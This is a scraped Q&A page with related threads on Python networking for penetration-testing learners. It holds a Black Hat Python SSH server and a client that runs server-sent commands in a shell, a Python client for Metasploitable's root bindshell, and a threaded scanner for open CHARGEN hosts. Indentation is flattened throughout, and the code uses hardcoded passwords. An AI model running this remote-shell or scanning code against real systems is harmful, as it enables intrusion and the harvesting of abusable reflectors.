Lately, I've developed an interest in penetration testing. I decided to try and learn how to write some scripts before investing in a full blown course. Currently I'm working my way through the book Black Hat Python book by Justin Seitz.
I'm in the section on SSH using Paramiko and two of the scripts have me stumped. They both run without errors but nothing gets shown on screen. In Windows and Linux the terminal (or DOS prompt) just returns immediately to the prompt. I have gone over the scripts several times and can't find the issue. The code for both scripts is shown in full below.
Script #1 bh_sshserver.py (The purpose of this script is to create an ssh server)
import socket
import paramiko
import threading
import sys
class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return
paramiko.OPEN_SUCCEEDED
return
paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == '12345'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = sys.argv[2]
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection...'
client, addr = sock.accept()
except Exception, e:
print ' [-] Listen Failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH Negotiation Failed'
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send ('Welcome to bh_ssh')
while True:
try:
command= raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
Script #2 bh_sshRcmd.py (The purpose of this script is to create a command receiver for the ssh server to connect to)
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
Both of these scripts were written in Windows and so do not need the shebang statement (ie #!/usr/bin/python) at the top. I copied them over to a Linux VM and added that statement, plus made them executable using chmod +x. Still, nothing shows on screen when the scripts run. The IP addresses are from a VMware virtual network which has never given me problems before.
It is likely that there is an error connecting to your server. Try adding more print statements to cover the conditionals like so:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print 'ssh_session is active'
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
print 'recv-ing'
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
else:
print 'ssh_session is not active'
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
As for bh_sshserver.py, if you ran python bh_sshserver.py, nothing would happen. This is because you don't have any statements in the main scope. If you wanted to start the server you could add code to the bottom of the script with no indentation.
You should call your server from the terminal using command-line arguments like this:
python scriptname.py server_adress port
Change indentation on the last line of client script - it should call your function
Server adresses in the terminal and in the client function should be the same
That's pretty much all
I can provide you with these two scripts that are working for me, if you need it.
Thanks to everyone who replied. In the end I found some Paramiko demo files from github that included a sample SSH server. It turns out the script is much more complicated than the author makes it out to be. I was missing a ton of code, which is why the server was not working. As soon as I made my script a rough match to the sample it worked perfectly so did my client.
In case anyone comes across a similar problem, here is the link to the Paramiko demo files:
https://github.com/paramiko/paramiko/tree/master/demos
Related
I have two internet connections via LAN Cable. I am from India, so they are not reliable. If one internet stops working, I want to automatically switch to another internet connection.
I wrote this script to check, If Internet is working or not:
try:
request = requests.get("http://www.google.co.in", timeout=5)
except (requests.ConnectionError, requests.Timeout) as exception:
try:
request = requests.get("http://www.amazon.com", timeout=5)
except (requests.ConnectionError, requests.Timeout) as exception:
print("Internet not working, switching internet.....")
If there is no ping from google & amazon, I need to switch internet.
My connection name is "Wired connection 1" and "Wired connection 2".
Edit: If someone has a solution in any other language or using software, please let me know.
It is a bit tricky, because there can be different network connection management interfaces on Ubuntu.
One of the most popular is NetworkManager.
If your machine uses it, you can try getting and using NetworkManager python module.
It says that "You can use this interface to query NetworkManager about the overall state of the network and details of network devices like current IP addresses or DHCP options, and to configure, activate and deactivate network connections."
So it should work, provided your Ubuntu uses NetworkManager.
As I have never used it, I can't provide any technical details on how to set up connection switching.
If it turns out that module doesn't work or your Ubuntu doesn't use NetworkManager, you can always switch connections by using shell commands from within Python to change the connection, using whichever commands you would use from shell via os.system() calls or subprocess module.
I figured it out
import requests
import os
import time
sudoPassword = 'pass'
pingFailStreak = 0
url1 = "http://www.google.co.in"
url2 = "http://www.amazon.com"
timeout = 5
def doesInternetWork(url,timeout):
try:
request = requests.get(url, timeout=timeout)
return True
except (requests.ConnectionError, requests.Timeout) as exception:
return False
def connectInternet(netID):
if netID==1:
command = 'nmcli dev disconnect enp6s0'
p = os.system('echo %s|sudo -S %s' % (sudoPassword, command))
command = 'nmcli dev connect enp5s0'
p = os.system('echo %s|sudo -S %s' % (sudoPassword, command))
elif netID==2:
command = 'nmcli dev disconnect enp5s0'
p = os.system('echo %s|sudo -S %s' % (sudoPassword, command))
command = 'nmcli dev connect enp6s0'
p = os.system('echo %s|sudo -S %s' % (sudoPassword, command))
while True:
if doesInternetWork(url1,timeout) == False and doesInternetWork(url2,timeout) == False:
print("Internet not working")
pingFailStreak += 1
if pingFailStreak > 2:
print("Switching intetnet to 1")
connectInternet(1)
time.sleep(5)
if doesInternetWork(url1,timeout) == False and doesInternetWork(url2,timeout) == False:
print("Switching intetnet to 2")
connectInternet(2)
time.sleep(5)
time.sleep(2)
I just trying to learn penetration test tools like nmap, netcat etc. now and I'm testing this tools on my Metasploitable 2 VM.When I scanned my Metasploitable machine's port, I saw there is Metasploitable root shell(1524) open port:
1524/tcp open shell Metasploitable root shell
When I connect to port 1524 with simple netcat tcp connection, I accessed my Metasploitable 2 VM's shell immediately:
root#kali:~# netcat 10.0.2.4 1524
root#metasploitable:/#
It was very easy even for me and I thought I can connect to the my Metasploitable 2 VM via python socket but, it was not as easy as I thought.
import sys
import socket
import subprocess
host = '10.0.2.4' # Metasploitable 2 VM's IP
port = 1524 # Metasploitable root shell
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as err:
print(err)
while True:
data = sock.recv(1024)
cmd = input('root#nonkali:#> ')
if cmd == 'quit':
sock.close()
sys.exit()
if cmd:
command = subprocess.Popen(data.decode('utf-8'), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
outs = command.stdout.read() + command.stderr.read()
str_outs = str(outs, 'utf-8')
sock.send(cmd.encode())
print(str_outs)
sock.close()
Output:
root#nonkali:#> ls
/bin/sh: 1: root#metasploitable:/#: not found
ls
ls
^CTraceback (most recent call last):
File "Python/tcp_client.py", line 15, in <module>
data = sock.recv(4096)
KeyboardInterrupt
I tried some bunch of codes like this but I never access my VM's shell.
I still don't know what am I doing wrong.I need a bit help.Actually, I want to understanding difference between netcat 10.0.2.4 1524 and python socket connection.
I'll provide two ways of doing it, that both worked for me. I tried the following on ubuntu 17.10 (with python 2.7.14).
The first one is using sockets and establishing a TCP connection. The code snippet is the following:
#!/usr/bin/env python
import sys
from socket import *
def nc(host, port):
s = socket(AF_INET, SOCK_STREAM) # TCP client
s.connect((host, port))
try:
while 1:
mydata = raw_input("root#root:#> ")
if mydata.strip()!='':
s.sendall(str(mydata))
data = s.recv(1024)
print data
except KeyboardInterrupt:
s.close()
sys.exit(0)
if __name__ == '__main__':
host = '...'
port = 11111
nc(host, port)
This gave me the following output:
$ ./test.py
root#root:#> ls
file1
testfile.zip
testfile3
root#root:#> whoami
testuser
root#root:#>
The other way as I said in the comments is by using pwntools.
The script is the following:
from pwn import *
p = remote(host,port)
p.interactive()
This will work also. The main difference between the two scripts is that the first script
is a native python socket-based implementation (use standard libraries only) while the other way
even if its easier depends on pwntools framework and doesn't mess with low-level socket programing. Actually both scripts are nothing more than just a simple TCP-client implementation.
I guess,I found my problem: Threading! I don't know exactly how works threading but,I implemented threading module to my code and It works well now.
#!/usr/bin/python3.6
import sys
import socket
import threading
def tcp_connect(host, port):
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, port))
interact()
except Exception as err:
print(err)
sys.exit()
def recv():
while True:
try:
data = sock.recv(1024)
sys.stdout.write(data.decode('utf-8'))
sys.stdout.flush()
except Exception as err:
print(err)
sock.close()
sys.exit()
def interact():
th = threading.Thread(target=recv)
th.start()
try:
while True:
cmd = sys.stdin.read(1)
sock.send(cmd.encode())
print('Connection closed.')
sock.close()
sys.exit()
except KeyboardInterrupt:
sock.close()
sys.exit()
if __name__ == '__main__':
host = '10.0.2.4'
port = 1524
tcp_connect(host, port)
And my commands are working:
root#metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
Imagine a situation when two servers are available. One of them is constantly sshing to another one and executing some commands. The process takes around 5-10 seconds for each session since ssh connection must be established every time.
The question: is it possible to have a ready, established ssh connection in order to reduce the time of executing commands on remote server?
Here is an example for you. It can work as a ssh client. No need to recreate session everytime.
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os,sys
import paramiko
import threading
import platform
curr_ssh = None
curr_prompt = ">>"
#how to use it
def printUsage():
print " !ls :list sessions."
print " !session id :connect session."
print " !conn host user password:connect host with user."
print " !exit :exit."
#connect using paramiko
def conn(ip,username,passwd):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip,22,username,passwd,timeout=5)
print "Connect to ",ip," with ",username
global curr_prompt
curr_prompt=username+"#"+ip+">>"
return ssh
except:
return None
#get former session
sessions=[]
def loadSessions():
global sessions
try:
f = open("sessions")
sessions = f.readlines()
f.close()
except:
pass
#main function
def exe_cmd_local(cmd):
if(cmd == "!ls"):
loadSessions()
global sessions
i=0
print "Sessions:"
for s in sessions:
print"[%d] %s" %(i,s)
i+=1
else:
vals = cmd.split(' ')
if(vals[0]=="!session"):
id = (int)(vals[1])
if(id<len(sessions)):
os_name = platform.system()
new_console_cmd = ""
if(os_name == "Linux"):
new_console_cmd="gnome-terminal -e \"./ssh.py " + sessions[id]+"\""
elif(os_name == "Windows"):
new_console_cmd="start ssh.py " + sessions[id]
os.system(new_console_cmd)
else:
print "Didn't hava sessoin ",vals[1]
elif(vals[0]=="!conn"):
global curr_ssh
curr_ssh = conn(vals[1],vals[2],vals[3])
f = open("sessions","a")
line = vals[1]+" "+vals[2]+" "+vals[3]+"\n"
f.write(line)
f.close()
#execute command remotely
def exe_cmd_ssh(ssh,cmd):
if(ssh == None):
print "Didn't connect to a server. Use '!conn' to connect please."
return
stdin, stdout, stderr = ssh.exec_command(cmd)
print stdout.read()
print stderr.read()
if __name__=='__main__':
loadSessions()
if(len(sys.argv)==4):
curr_ssh = conn(sys.argv[1],sys.argv[2],sys.argv[3])
else:
printUsage()
while True:
cmd = raw_input(curr_prompt)
if(len(cmd)==0):
continue
if(cmd == "!exit"):
if(curr_ssh != None):
curr_ssh.close();
break
else:
if(cmd[0] == '!'):
exe_cmd_local(cmd)
else:
exe_cmd_ssh(curr_ssh,cmd)
Hope it helps. :)
One could use an existing ssh connection, by configuring ssh to re-use an already established connection. Please see man ssh_config:
ControlMaster
Enables the sharing of multiple sessions over a single network connection. When set to “yes”, ssh(1) will ...
So your ~/.ssh/config could contain:
Host firstServer
ControlMaster auto
ControlPath ~/.ssh/tmp/controlPath_%h_%p_%r
This will create a socket as a file named by 'ControlPath'. The next ssh connection will go through that same socket and will be lightning fast.
Enjoy
I'm totally confused as to why my script isn't working.
This script basically scans for servers with port 19 open (CHARGEN).
You enter a list of ips in the format:
1.1.1.1
2.2.2.2
3.3.3.3
4.4.4.4
5.5.5.5
and the script scans every ip in the list to check if port 19 is open, and if it is, it writes the ip to a file.
Here is my code:
#!/usr/bin/env python
#CHARGEN Scanner
#Written by Expedient
import sys
import Queue
import socket
import threading
queue = Queue.Queue()
def check_ip(host, output_file, timeout):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((host, 19))
if result == 0:
print "Found: %s" % host
file = open(output_file, "a")
file.write(host+"\n")
file.close()
except:
pass
def add_to_queue(queue, host, output_file, timeout):
queue.put(check_ip(host, output_file, timeout))
if len(sys.argv) < 4:
print "Usage: %s <ip list> <output file> <timeout>" % sys.argv[0]
sys.exit()
try:
open(sys.argv[1])
except:
print "Unable to open ip list."
sys.exit()
print "Starting Expedient's CHARGEN Scanner..."
with open(sys.argv[1]) as ip_list:
for ip in ip_list:
thread = threading.Thread(target=add_to_queue, args=(queue, ip, sys.argv[2], float(sys.argv[3])))
thread.start()
Whenever I run the script on a list of CHARGEN enabled servers that I got from an nmap scan
(I double checked, every server has port 19 open), the script does not write any of the ips
to the output file, which is should, because every ip in the list has port 19 open.
I honestly have no idea why this isn't working and it would be wonderful if someone could
help me out/tell me what I'm doing wrong. Thank you.
Your example as posted is catching all exceptions in your check_ip function without telling you (except: pass). You could have any number of issues causing exceptions to be raised in this function, and if an exception is raising in every call of the function then you will get no results from your script while also not getting any feedback to log/console on the nature of the failure.
For the purposes of debugging, you should modify your exception handling to explicitly handle any exceptions that you want to pass over, and allow other exceptions to raise unhandled so that you can determine what your error conditions are.
The code below runs grep in one machine through SSH and prints the results:
import sys, os, string
import paramiko
cmd = "grep -h 'king' /opt/data/horror_20100810*"
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.10.3.10', username='xy', password='xy')
stdin, stdout, stderr = ssh.exec_command(cmd)
stdin.write('xy\n')
stdin.flush()
print stdout.readlines()
How can I grep five machines all at once (so that I don't have major delay), than put all that in five variables and print them all out.
You'll need to put the calls into separate threads (or processes, but that would be overkill) which in turn requires the code to be in a function (which is a good idea anyway: don't have substantial code at a module's top level).
For example:
import sys, os, string, threading
import paramiko
cmd = "grep -h 'king' /opt/data/horror_20100810*"
outlock = threading.Lock()
def workon(host):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username='xy', password='xy')
stdin, stdout, stderr = ssh.exec_command(cmd)
stdin.write('xy\n')
stdin.flush()
with outlock:
print stdout.readlines()
def main():
hosts = ['10.10.3.10', '10.10.4.12', '10.10.2.15', ] # etc
threads = []
for h in hosts:
t = threading.Thread(target=workon, args=(h,))
t.start()
threads.append(t)
for t in threads:
t.join()
main()
If you had many more than five hosts, I would recommend using instead a "thread pool" architecture and a queue of work units. But, for just five, it's simpler to stick to the "dedicated thread" model (especially since there is no thread pool in the standard library, so you'd need a third party package like threadpool... or a lot of subtle custom code of your own of course;-).
In my case i have to execute commands on server with one ip and port and after complete need to do sftp to other ip and different port.Condition is one connection should be live while doing sftp to another ip due to port forwarding.
Both connection are working separably but while combining both second sftp connection is not working.
#! /usr/bin/env python3
import sys, os, string, threading
try:
import paramiko
#import paramiko package
except:
im = input("Paramiko module is missing. Do you want to install[Y/N]:")
im = im.upper()
if im == "Y":
try:
try:
os.system("pip install paramiko")
except:
os.system("pip3 install paramiko")
except:
print("Please install paramiko package manually")
else:
print("Rerun and type 'y' to install")
#Running paramiko module with interactive password sending function
#this function helps to send password when sudo command is executed
def sudossh():
host = "type host ip"
port = 22
username = "type username"
password = "type password"
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port, username, password)
ssh.get_transport()
#In this example we will run HTTP module on server in port 80
command = "sudo su -c 'sudo python -m SimpleHTTPServer 80'"
print(f"Running: {command}\n")
stdin, stdout, stderr = ssh.exec_command(command=command,get_pty=True)
stdin.write("password\n")
print("sent password\n")
print("HTTP service is running now\n")
stdin.flush()
if stderr.channel.recv_exit_status() != 0:
print(f"Error: {stderr.readlines()}")
else:
print(f"Output: \n{stdout.readlines()}")
ssh.close()
except Exception as err:
print(str(err));
print("Thanks for using my application");
#Running another paramiko module with interactive password sending function
def grepverification():
host = "type host ip"
port = 22
username = "type username"
password = "type password"
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port, username, password)
ssh.get_transport()
#Open new session and check port 80 status on server
command = "sudo su -c 'netstat | grep 80'"
print(f"Running: {command}\n")
stdin, stdout, stderr = ssh.exec_command(command=command,get_pty=True)
stdin.write("password\n")
print("sent password\n")
print("Connection is established. Check below output\n")
stdin.flush()
if stderr.channel.recv_exit_status() != 0:
print(f"Error: {stderr.readlines()}")
else:
print(f"Output: \n{stdout.readlines()}")
ssh.close()
except Exception as err:
print(str(err));
print("Thanks for using my application");
def main():
#Multithreading helps to run both at a same time. Useful for verification.
# creating thread
th1 = threading.Thread(target=sudossh)
th2 = threading.Thread(target=grepverification)
# starting thread 1
th1.start()
# starting thread 2
th2.start()
# wait until thread 1 is completely executed
th1.join()
# wait until thread 2 is completely executed
th2.join()
# both threads completely executed
print("Completed!")
#you can use for loop to reduce lines but for understanding & smooth multithreading process will keep it as separate functions
#Comments are welcome. Thanks. Follow me on https://www.linkedin.com/in/dinesh-kumar-palanivelu-858441128/
#you need to change line - 23-26,36,51-54,64
if __name__=='__main__':
main()